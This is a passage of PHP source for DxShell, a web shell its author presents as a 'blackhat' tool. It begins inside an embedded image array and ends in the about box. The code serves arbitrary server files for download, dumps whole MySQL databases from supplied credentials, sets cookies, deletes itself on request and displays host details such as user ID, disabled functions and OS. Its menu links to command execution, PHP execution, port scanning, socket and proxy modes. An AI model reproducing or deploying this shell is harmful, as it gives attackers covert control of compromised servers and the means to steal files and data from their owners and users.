ShQ1wS2oJHziWSQzJ0UVdUXGer1QNfFyVL4DBPqG5PpGObGpm1su4ZZolUhVW4ZiUeBDp6wegVFHRiQvM9IU9FgScZspbVIUoUTlun30tQCXNtzGbFhQQxushDwQ27s3kPMiE6FsEw6ONTogxj2kWOmW3tREGKEfD21D2l8Qsx43MUe+71Xae80T/3soJQa4sfw7+QZ/wfCtyveDnuW9KJA7dLLhMS3u9QJ6W41GpyYzrtEY2aL9s7ybKm+XomW9E7aQnfXM0rtedWpnV/rJ57egDSuQTw6tVS6soheiZSW2hQP60TIkqBuVED1RFlJhhWS1fLhPBUVDkIoGpUMAjxDFmWDi64CpvLikFxoSXw5SFrtQ/dYFWrW5ZpaDGvisFKEou8Sw/vI66AzFi0heqvkCEDIiyhl29pnCraH44lWz/a9ksOwkDxSwuL6M3Y+MYnyuCY2wafjxcgsWgg64EOcirdIK0J4WKqEkEYI7zBf+b+zJqdgCVv1PIUYq2/GM3bTIosd3zryCRT35FFNwX+/+4thO/90TvKX9nNTIHigIlGjE/TjUw+zFxYgbrSFJqUwMTHCCVQCA8HXRJj3fu4AgOAXOaOnNOYgfRkXCdJnP9QnEv+AG7VxW3KUQt/QeLLASRplFpcyCDghfJ2AIPnHchYYG/c3fUxhfFYTE5hyd+m0f7ZVDTTYELSCgpDzCvzxAbPlSgUoGHEUDnlAI8yGgzmYGCvTRNbFg9BROF2IPBLRCT7oDNnhFZrjhM/2eOAyBMiTgXAIHzBUgVlYDInQRM5AhBcwdxqQExsYhn84Me+WhoB4arwnROaXBzDAFJlAh3VYd3hDKwujFVADgZAohFSoh2sUg2HjhCqkZQNIiXwYiKz/dx5v+Iiw4Yf2QEik6BobmHqtOAKmlwuPwIVKQylnSGsf8Ee5dS59pDaK+AECJHOoOBYgqImYuIeVMIqxWHKBlyop4CEdh4giuAHMmIzNWIzvIHAPRU1uQU3giEUVAwWweDXDVSzM1Q2WNiNW0ikj0kZDx0rbgnZO10Vhto7hKE7WKFvYElba+I8AuRHtWCObIiQLhHEBmZAKKT6csA/viAX5A1j6uJAUWZEJMjd8o0uSFIcW2ZEe6Q6jQzrtERKs6IMfeZIoGQfNESzlIjqTmJIwGZPrQIuzJwkkaVQymZM6OR2U0pLmYkaOuJNCCZPO4JPAeItDmZRK6YWCuEO3/xWUSxmVCpl6pxAKkjIObiiVWjmUljiJ17iVYImKtCcNDzkSRRBoPhWWarmWbCkHX9mWcBmI9SMlQCgMS4UbL7kiQdWV1bAkTjYoRxCXMckd3Sd4bcOAfRh/tSeDAtiHIdgRHMMH0/BLsFJ7QYdcb2mEggluJnF+hIAXoJkviWkQk9cqgFgBiPKY+RIFnUkTV7KHlAcFICRVIdB3m/lgPwSZiudmruKQ2QMYZdOYddM6pdmZolma2YMUvBdcm0Kcy9KGpikSZkCaDJB+0ikfPdMLTid0XtA/pblipwEsvGA2twladNE3tGltkoAgUoAXJgEgN/ScjWUoj9U47FlQ0/9JEOXhnljgGxAgnuOZBfCJKAHYC9oBIAhjeEyyWvuwm/cBQv2DOCHjSuUJWp1pnAzzB+xZJ6vQJO7pLEzSn/vRfdSZmxw6eaX0LyrKmggIoC0ImZugeJPXC1HCMAOzofJJnK8pBT0wC1dCNFyCKBX6YJ0poxn6SQwzDR52Bb/TnYmFUPmSXVLAoiyjZGCxPOPZGzT5mjlmpOnHm9wQPtljKDWCRrWSpFbqKkO6XUU6C4WBo9xpCop3JX3zBtsJo/kyWjCKonpRSpUoJm4mCNTJYC1Yp3JqFoOqGyWKUN4pm7Owmu90qDtKkEYqdJm5pqkooGfSob9mKMcpVb/EpJ2Jagf5M59msGNkSpoUBJF6CjJOpair5aPReZ3iUUnH1Fh0VDeIQKaiyWUvs6ijxaSumneYypDsSTFCw00tIHrj6QYW8hTpEXxl6Q2Qmqz+sgwdx355hJBIAQdthB6rRxjOWkE6kR74gXHHqS0doTuqp33Fijqt+THvOq8WCafWRK/4upBKmK9ykAAAOw==',

'rename'=> 'R0lGODlhEAAQAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIxlI8GC+kCQmgPxVmtpBnurnzgxWUk6GFKQp0eFzXnhdHLRm/SPvPp5IodhC4IS8EoAAA7',

'ed' => 'R0lGODlhEAAQAKIAAAAzZv////3Tm8DAwJ7R/Gmd0P///wAAACH5BAEAAAYALAAAAAAQABAAAANDaAYM+lABIVqEs4bArtRc0V3MMDAEMWLACRSp6kRNYcfrw9h3mksvHm7G4sF8RF3Q1kgqmZSKZ/HKSKeN6I/VdGIZCQA7',

'downl' => 'R0lGODlhEAAQAJEAADyFFIXQLajcOf///yH5BAEAAAMALAAAAAAQABAAAAI6nAepeY0CI3AHREmNvWLmfXkUiH1clz1CUGoLu0JLwtaxzU5WwK89HxABgESgSFM0fpJHx5DWHCkoBQA7',

'gzip' => 'R0lGODlhEAAQAKIAAARLsHi+//zZWLJ9DvEZAf///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANCWLrQDkuMKUC4OMAyiB+Pc0GDYJ7nUFgk6qos56KwJs9m3eLSapc83Q0nnBhDjdGCkcFslgrkEwq9UKHS6dLShCQAADs=',

);

@ob_clean();

if ((!isset($_GET['dximg'])) OR (!in_array($_GET['dximg'], array_keys($IMGS)))) $_GET['dximg']='noone';

header('Cache-Control: public');

Header('Last-Modified: '.gmdate('D, d M Y H:i:s', time()-60*60*24*365).' GMT'); //Date('r'

header('Expires: '.gmdate('D, d M Y H:i:s', time()+60*60*24*365).' GMT');

header('Content-type: image/gif');

print base64_decode( (is_array(($IMGS[$_GET['dximg']])))?$IMGS[$_GET['dximg']][1]:$IMGS[$_GET['dximg']] );

die();

}

if ($_GET['dxmode']=='F_DWN')

{

if (!isset($_GET['dxfile'])) die(DxError('No file selected. Check $_GET[\'dxfile\'] var'));

if (!file_exists($_GET['dxfile'])) die(DxError('No such file'));

if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) '));

$DxDOWNLOAD_File=array(); /* prepare struct */

$DxDOWNLOAD_File['filename']=basename($_GET['dxfile']);

if (isset($_GET['dxparam']))

$DxDOWNLOAD_File['headers'][]=('Content-type: text/plain'); /* usual look thru */

else

{ $DxDOWNLOAD_File['headers'][]=('Content-type: '.mime_content_type($_GET['dxfile']));

$DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.basename($_GET['dxfile']).'";');

}

$DxDOWNLOAD_File['content']=file_get_contents($_GET['dxfile']);

}

if ($_GET['dxmode']=='SQL' AND isset($_POST['dxparam']))

{/* download query results */ if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_q']))

die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_q\'] needed'));

if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0))

die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));

if (!mysql_select_db($_GET['dxsql_d']))

die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));

/* export as csv */

$DxDOWNLOAD_File=array(); /* prepare struct */

$DxDOWNLOAD_File['filename']='Query_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.csv';

$DxDOWNLOAD_File['headers'][]=('Content-type: text/comma-separated-values');

$DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";');

$DxDOWNLOAD_File['content']='';

$_POST['dxsql_q']=explode(';',$_POST['dxsql_q']);

for ($q=0;$q<count($_POST['dxsql_q']);$q++)

{ if (empty($_POST['dxsql_q'][$q])) continue;

$num=DxMySQL_FetchResult(DxMySQLQ($_POST['dxsql_q'][$q], false), $DUMP, false);

$DxDOWNLOAD_File['content'].="\n\n".'QUERY: '.str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $_POST['dxsql_q'][$q] )).";";

if ($num<=0) {$DxDOWNLOAD_File['content'].="\n".'Empty;'; continue;}

foreach ($DUMP[0] as $key => $val) $DxDOWNLOAD_File['content'].=$key.";"; /* headers */

for ($l=0;$l<count($DUMP);$l++)

{ $DxDOWNLOAD_File['content'].="\n";

$INDEXES=array_keys($DUMP[$l]);

for ($i=0; $i<count($INDEXES); $i++)

$DxDOWNLOAD_File['content'].=str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $DUMP[$l][ $INDEXES[$i] ])).";";

}

}

}

if ($_GET['dxmode']=='SQLD' AND isset($_POST['dxsql_tables']))

{ if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_tables']))

die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_tables\'] needed'));

if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0))

die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));

if (!mysql_select_db($_GET['dxsql_d']))

die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));

if (empty($_POST['dxsql_tables'])) die(DxError('No tables selected...'));

$DxDOWNLOAD_File=array(); /* prepare struct */

$DxDOWNLOAD_File['filename']='Dump_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.sql';

$DxDOWNLOAD_File['headers'][]=('Content-type: text/plain');

$DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";');

$DxDOWNLOAD_File['content']='';

$DxDOWNLOAD_File['content'].="\n\t".'/* '.str_repeat('=', 66);

$DxDOWNLOAD_File['content'].="\n\t".'==== MySQL Dump '.DxDate(time()).' - DxShell v'.$GLOB['SHELL']['Ver'].' by o_O Tync';

$DxDOWNLOAD_File['content'].="\n\t".'==== Server: '.$_GET['dxsql_s'];

$DxDOWNLOAD_File['content'].="\n\t".'==== DB: '.$_GET['dxsql_d'];

$DxDOWNLOAD_File['content'].="\n\t".'==== Tables: '."\n\t\t\t".implode(', '."\n\t\t\t", $_POST['dxsql_tables']);

$DxDOWNLOAD_File['content'].="\n\t".str_repeat('=', 66).' */';

if (!empty($_POST['dxsql_q']))

{ $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']);

foreach ($_POST['dxsql_q'] as $CUR)

if (empty($CUR)) continue; else DxMySQLQ($CUR, true); /* pre-query */

}

foreach ($_POST['dxsql_tables'] as $CUR_TABLE)

{ $DxDOWNLOAD_File['content'].=str_repeat("\n", 5).'/* '.str_repeat('-', 40).' */';

DxMySQL_FetchResult(DxMySQLQ('SHOW CREATE TABLE `'.$CUR_TABLE.'`;', false), $DUMP, true);

$DxDOWNLOAD_File['content'].="\n".$DUMP[0][1];

$DxDOWNLOAD_File['content'].="\n\n";

DxMySQL_FetchResult(DxMySQLQ('SELECT * FROM `'.$CUR_TABLE.'`;', false), $DUMP, true);

for ($i=0; $i<count($DUMP); $i++)

{

for ($j=0;$j<count($DUMP[$i]);$j++) $DUMP[$i][$j]=mysql_real_escape_string($DUMP[$i][$j]);

$DxDOWNLOAD_File['content'].="\n".'INSERT INTO `'.$CUR_TABLE.'` VALUES ("'.implode('", "', $DUMP[$i]).'");';

}

}

}

if ($_GET['dxmode']=='COOK' AND isset($_POST['dxparam']))

{ foreach ($_POST['dxparam'] as $name => $val)

{ if ($name=='DXS_NEWCOOK')

{

if (empty($val['NAM']) or empty($val['VAL'])) continue; DxSetCookie($val['NAM'], $val['VAL'], time()+60*60*24*10);

}

else DxSetCookie($name, $val, (empty($val))?1:(time()+60*60*24*10));

}

DxGotoURL(DxURL('leave', 'dxmode'));

die();

}

if (isset($_GET['dxinstant']))

{ $_GET['dxinstant']=strtoupper($_GET['dxinstant']);

if ($_GET['dxinstant']=='DEL')

{

$ok=@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));

print '<script>window.alert("SELF '.( ($ok)?'deleted. Reload the page to believe me =)':'tried to delete but was unsuccessful' ).'");</script>';

}

}

function DxObGZ($s) {return gzencode($s);}

if (isset($DxDOWNLOAD_File))

{/* File downloader for everything */

if (!$DXGLOBALSHIT)

{

if ($GLOB['SYS']['GZIP']['CanOutput'])

{

ini_set('output_buffering',4096);

ob_start("DxObGZ");

header('Content-Encoding: gzip');

} for ($i=0; $i<count($DxDOWNLOAD_File['headers']); $i++) header($DxDOWNLOAD_File['headers'][$i]);

print $DxDOWNLOAD_File['content'];

die();

}

/* if u want to download file when $DXGLOBALSHIT, scroll down */

}

###################################################################################

####################++++++++++++++# M A I N #++++++++++++++++++####################

###################################################################################

if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die(DxError('Unknown $_GET[\'dxmode\']! check $GLOB[\'DxMODES\'] array'));

########

######## Main HAT (blackhat? =))) )

########

if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die('Unknown $_GET[\'dxmode\']');

if ($DXGLOBALSHIT)

print str_repeat("\n", 20).'<!--SHELL HERE-->';

?>

<html><head><title><?=$_SERVER['HTTP_HOST'];?> --= DxShell 1.0 - by o_O Tync =-- :: <?=$GLOB['DxMODES'][$_GET['dxmode']];?></title>

<Meta Http-equiv="Content-Type" Content="text/html; Charset=windows-1251">

<link rel="shortcut icon" href="<?=DxURL('kill','dxmode');?>&dxmode=IMG&dximg=DxS">

<style>

img {border-width:0pt;}

body, td {font-size: 10pt; color: #00B000; background-color: #000000; font-family: Arial;padding:2pt;margin:2pt; vertical-align:top;}

h1 {font-size: 14pt; color: #00B000; background-color: #002000; font-family: Arial Black; font-weight: bold; text-align: center;}

h2 {font-size: 12pt; color: #00B000; background-color: #002000; font-family: Courier New; text-align: center;}

h3 {font-size: 12pt; color: #F0F000; background-color: #002000; font-family: Times New Roman; text-align: center;}

caption {font-size: 12pt; color: #00FF00; background-color: #000000; font-family: Times New Roman; text-align:center; border-width: 1pt 3pt 1pt 3pt;border-color:#FFFF00;border-style:solid solid dotted solid;padding: 5pt 0pt;}

td.h2_oneline {font-size: 12pt; color: #00B000; font-family: Courier New; text-align: center;background-color: #002000; border-right-color:#00FF00;border-right-width:1pt;border-right-style:solid;vertical-align:middle;}

td.mode_header {font-size: 16pt; color: #FFFF00; font-family: Courier New; text-align: center;background-color: #002000; vertical-align:middle;}

table.outset, td.outset {border-width:3pt; border-style:outset; border-color: #004000;margin-top: 2pt;vertical-align:middle;}

table.bord, td.bord, fieldset {border-width:1pt; border-style:solid; border-color: #003000;vertical-align:middle;}

hr {border-width:1pt; border-style:solid; border-color: #005000; text-align: center; width: 90%;}

textarea.bout {border-color: #000000; border-width:0pt; background: #000000; font: 12px verdana, arial, helvetica, sans-serif; color: #00FF00; Scrollbar-Face-color:#000000;Scrollbar-Track-Color: #000000;}

td.listing {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:top;}

td.linelisting {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;}

table.linelisting {border-color: #003000;border-width:0pt 1pt; border-style:solid;}

td.js_floatwin_header {background-color:#003300;font-size:10pt;font-weight:bold;color:#FFFF00;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;}

td.js_floatwin_body {background-color:#000000;font-size:10pt;color:#00B000;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;}

font.rwx_sticky_bit {color:#FF0000;}

.highlight_txt {color: #FFFF00;}

.achtung {color: #000000; background-color: #FF0000; font-family: Arial Black; font-size: 14pt; padding:0pt 5pt;}

input {font-size: 10pt;font-family: Arial; color: #E0E000; background-color: #000000; border-color:#00FF00 #005000 #005000 #FFFF00; border-width:1pt 1pt 1pt 3pt;border-style:dotted dotted dotted solid; padding-left: 3pt;overflow:hidden;}

input.radio {border-width:0pt;color: #FFFF00;}

input.submit {font-size: 12pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #002000; border-color: #00FF00; border-width:0pt 1pt 1pt 0pt; border-style: solid; padding:1pt;letter-spacing:1pt;padding:0pt 2pt;}

input.bt_Yes {font-size: 14pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #005000; border-color: #005000 #005000 #00FF00 #005000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;}

input.bt_No {font-size: 14pt;font-family: Impact, Arial Black; color :#FF0000; background-color: #500000; border-color: #500000 #500000 #FF0000 #500000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;}

input.bt_Yes:Hover {color:#000000; background-color:#00FF00;border-bottom-color:#FFFFFF;}

input.bt_No:Hover {color:#000000; background-color:#FF0000;border-bottom-color:#FFFFFF;}

textarea {color:#00FF00; background-color:#001000;border-color:#000000;border-width:0pt;border-style:solid;font-size:10pt;font-family:Arial;Padding:5pt;

Scrollbar-Face-Color: #00FF00; Scrollbar-Track-Color: #000500;

Scrollbar-Highlight-Color: #00A000; Scrollbar-3dlight-Color: #00A000; Scrollbar-Shadow-Color: #005000;

Scrollbar-Darkshadow-Color: #005000;}

select {background-color:#001000;color:#00D000;border-color:#D0D000;border-width:1pt;border-style:solid dotted dotted solid;}

A:Link, A:Visited { color: #00D000; text-decoration: underline; }

A.no:Link, A.no:Visited { color: #00D000; text-decoration: none; }

A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #00FF00; background-color:#003300; text-decoration: overline; }

.Hover:Hover {color: #FFFF00; cursor:help;}

.HoverClick:Hover {color: #FFFF00; cursor:crosshair;}

span.margin {margin: 0pt 10pt;}

td.error {color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;}

td.warning {color:#000000; background-color: #D00000; font-size: 11pt;}

font.img_replacer {margin:1pt;padding:1pt;text-decoration: none;border-width:1pt;border-color:#D0D000;border-style:solid;}

</style>

<?php

if (in_array($_GET['dxmode'], array('UPL', 'DIR', 'PRT')))

{ /* THIS FLOATING WINDOW IS ONLY SET FOR MODES: */?>

<SCRIPT>

var dom = document.getElementById?1:0;

var ie4 = document.all && document.all.item;

var opera = window.opera; //Opera

var ie5 = dom && ie4 && !opera;

var nn4 = document.layers;

var nn6 = dom && !ie5 && !opera;

var vers=parseInt(navigator.appVersion);

var good_browser = (ie5 || ie4);

function showwin(hdr,txt,w,vis)

{

if(good_browser)

{

var obj = document.all('js_floatwin');

var evnt = event;

var xOffset = document.body.scrollLeft;

var yOffset = document.body.scrollTop;

var temp =

"<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="+ w +">"

+((hdr!='')?("<TR><TD class=js_floatwin_header>"+ hdr + "</TD></TR>"):"")

+"<TR><TD class=js_floatwin_body>" + txt + "</TD></TR>"

+"</TABLE>";

if (vis == 1)

{

obj.innerHTML = temp;

obj.style.width = w;

hor = document.body.scrollWidth - obj.offsetWidth;

posHor = xOffset + evnt.clientX + 10;

posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5;

posVer = yOffset + evnt.clientY - obj.offsetHeight - 5;

if (posHor<hor)

obj.style.posLeft = posHor

else

obj.style.posLeft = posHor2;

obj.style.posTop = posVer;

obj.style.visibility = "visible";

}

else

{

obj.style.visibility = "hidden";

obj.style.posTop = 0;

obj.style.posLeft = 0;

}

}

}

function movewin()

{

if (good_browser)

{

var obj = document.all('js_floatwin');

var evnt = event;

var xOffset = document.body.scrollLeft;

var yOffset = document.body.scrollTop;

hor = document.body.scrollWidth - obj.offsetWidth;

posHor = xOffset + evnt.clientX + 10;

posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5;

posVer = yOffset + evnt.clientY - obj.offsetHeight - 5;

if (posHor<hor)

obj.style.posLeft = posHor

else

obj.style.posLeft = posHor2;

obj.style.posTop = posVer;

}

}

</SCRIPT>

<?php } /* /END */?>

</head>

<body>

<?php

if ($DXGLOBALSHIT) /* tries to kill all the fucking bug.php pre-output, if ob_clean() failed */

{ print str_repeat("\n", 10).'<!--SHIT KILLER-->';

print "\n".'</body></a>'.str_repeat('</table>', 5).str_repeat('</div>', 5).str_repeat('</span>', 5).str_repeat('</pre>', 1).str_repeat('</font>', 5).str_repeat('</script>', 2);

print "\n".'<TABLE WIDTH=100% BORDER=0 style="position:absolute;z-index:100;top:0pt;left:0pt;width:100%;height:100%;"><tr><td>';

print "\n\n\n\n";

}

?>

<div id="js_floatwin" style="z-index:50;position:absolute;left:0;top:0;visibility:hidden"></div>

<table width=100% cellspacing=0 cellpadding=0 class=outset>

<tr>

<td width=100pt class=h2_oneline><a href="<?=DxURL('kill', '');?>&dxmode=WTF" class=no><h1>DxShell<br>v<?=$GLOB['SHELL']['Ver'];?></td>

<td>

<?php

print "\n".'<div style="margin-right:'.( ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)?'100':'30' ).'pt;">';

print "\n".( ($DXGLOBALSHIT)?'<font color=#FF0000><b>GLOBALSHIT</b></font> ; ':'' );

print "\n".DxPrint_ParamState('php_ver', phpversion() ).' ; ';

print "\n".DxPrint_ParamState('php_Safe_Mode', $GLOB['PHP']['SafeMode'], '!' ).' ; ';

print "\n".DxPrint_ParamState('magic_quotes', (bool)get_magic_quotes_gpc(), '!' ).' ; ';

print "\n".DxPrint_ParamState('gZip', function_exists('gzencode') ).' ; ';

print "\n".DxPrint_ParamState('cURL', function_exists('curl_version') ).' ; ';

print "\n".DxPrint_ParamState('MySQL', function_exists('mysql_connect') ).' ; ';

print "\n".DxPrint_ParamState('MsSQL', function_exists('mssql_connect') ).' ; ';

print "\n".DxPrint_ParamState('PostgreSQL', function_exists('pg_connect') ).' ; ';

print "\n".DxPrint_ParamState('Oracle', function_exists('ocilogon') ).' ; ';

print "\n".'Disabled functions: '.((($df=@ini_get('disable_functions'))=='')?'<font color=#00FF00><b>NONE</b></font>':'<font color=#FF0000><b>'.str_replace(array(',',';'), ', ', $df).'</b></font>');

print "\n".'</div>';

print "\n\n".'<span align=right style="position:absolute;z-index:1;right:0pt;top:0pt;"><table><tr><td class="h2_oneline"><nobr>';

if ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)

print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=logoff" title="Log Off" class=no>[Exit]</a>';

print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=DEL" title="Delete self ('.basename($_SERVER['PHP_SELF']).')" class=no><font color=#FF0000;>'.DxImg('del').'</font></a>';

print "\n".'</nobr></td></tr></table></span>';

print "\n\n".'<hr>';

print "\n".'Disk free: <b>'.DxStr_FmtFileSize(disk_free_space($GLOB['FILES']['CurDIR'])).' / '.DxStr_FmtFileSize(disk_total_space($GLOB['FILES']['CurDIR'])).'</b> ; ';

print "\n".'OS: <b>'.$GLOB['SYS']['OS']['id'].' ('.$GLOB['SYS']['OS']['Full'].' )</b> ; ';

print "\n".'Yer_IP: <b>'.@$_SERVER['REMOTE_ADDR'].' ('.@$_SERVER['REMOTE_HOST'].')</b> ; ';

print "\n".'<nobr>Own/U/G/Pid/Inode:<wbr><b>'.get_current_user().' / '.getmyuid().' / '.getmygid().' / '.getmypid().' / '.getmyinode().'</b> ; </nobr>';

print "\n".'MySQL : <b>'.@mysql_get_server_info().'</b> ; ';

print "\n".'<br>'.@$_SERVER['SERVER_SOFTWARE'];

?>

</td>

</table>

<table width=100% cellspacing=0 cellpadding=0 class=outset>

<tr>

<td width=100pt class=h2_oneline><h2>Modes</td>

<td style="text-align:center;"><nobr>

<a href="<?=DxURL('kill', '');?>&dxmode=DIR">DIR</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=F_VIEW">VIEW</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=FTP<?=((!empty($_GET['dxdir']))?'&dxdir='.$_GET['dxdir']:'');?>">FTP</a>

<td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr>

<a href="<?=DxURL('leave', 'dxsql_s,dxsql_l,dxsql_p,dxsql_d');?>&dxmode=SQL">SQL</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=PHP">PHP</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=COOK">COOKIE</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=CMD">CMD</a>

<td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr>

<a href="<?=DxURL('kill', '');?>&dxmode=MAIL">MAIL</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=STR">STR</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=PRT">PORTSCAN</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=SOCK">SOCK</a> |

<a href="<?=DxURL('kill', '');?>&dxmode=PROX">PROXY</a>

</td>

</tr>

</table>

<?php $DX_Header_drawn=true; ?>

<?php

#################################################

########

######## DXGLOBALSHIT DOWNLOADER

########

if (isset($DxDOWNLOAD_File)) /* only when DXGLOBALSHIT is enabled */

{ print "\n".'<table align=center><tr><td class=mode_header><b>Download file</td></tr></table>';

print "\n".'The fact you see this means that "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit, so no headerz could be sent =((';

print "\n".'<br>Exclusively, DxShell is proud to present an additional way to download files...Just execute the php-script given below, and it will make the file u\'re trying to download';

if ($GLOB['SYS']['GZIP']['CanUse']) $DxDOWNLOAD_File['content']=gzcompress($DxDOWNLOAD_File['content'], 6);

print "\n\n".'<br><br>';

print "\n".'<textarea rows=30 style="width:90%" align=center>';

print "\n".'<?php'."\n".' //Execute this, and you\'ll get the requested "'.$DxDOWNLOAD_File['filename'].'" in the same folder with the script ;)';

print "\n".'// The file is '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzcompress()ed and':'' ).' base64_encode()ed';

print "\n\n".'$encoded_file=\''.base64_encode($DxDOWNLOAD_File['content']).'\';';

print "\n\n\n\n";

print "\n".'$f=fopen(\''.$DxDOWNLOAD_File['filename'].'\', \'w\');';

print "\n".'fputs($f, '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzuncompress(base64_decode($encoded_file))':'base64_decode($encoded_file)' ).');';

print "\n".'fclose($f);';

print "\n".'//Yahoo, hacker, the file is here =)';

print "\n".'?>';

print "\n".'</textarea>';

die();

}

?>

<table align=center>

<tr><td class=mode_header>

@MODE: <b><?=$GLOB['DxMODES'][$_GET['dxmode']];?>

</td></tr></table>

<?

########

######## AboutBox

########

if ($_GET['dxmode']=='WTF')

{

?>

<table align=center class=nooooneblya><tr><td><div align=center>

<?php

print '<a href="http://hellknights.void.ru/">'.DxImg('exec').'</a>';

print '<br>o_O Tync, ICQ# 1227-700';

?><br><br>

<textarea name="LolBox" class=bout style="width:500pt; height:500pt;"></textarea></table>

<SCRIPT language=Javascript><!--

var tl=new Array(

"Kilobytes of c0de, litres of beer, kilometers of cigarettes (*no drugs*), and for what purpose?",

"What's wrong with other shells?",

"Usability, functionality, bugs?... NO.",

"The main bug is: these shells ARE NOT mine =)",

"Just like to be responsible for every motherfucking byte of code.",

"Enjoy!",

"-----------------------------------",

"o_O Tync, http://hellknights.void.ru/, ICQ# 1227-700",

"DxShell v<?=$GLOB['SHELL']['Ver'].', date '.$GLOB['SHELL']['Date'];?>",

"",

"Greetz to: ",

"iNfantry the Ruler",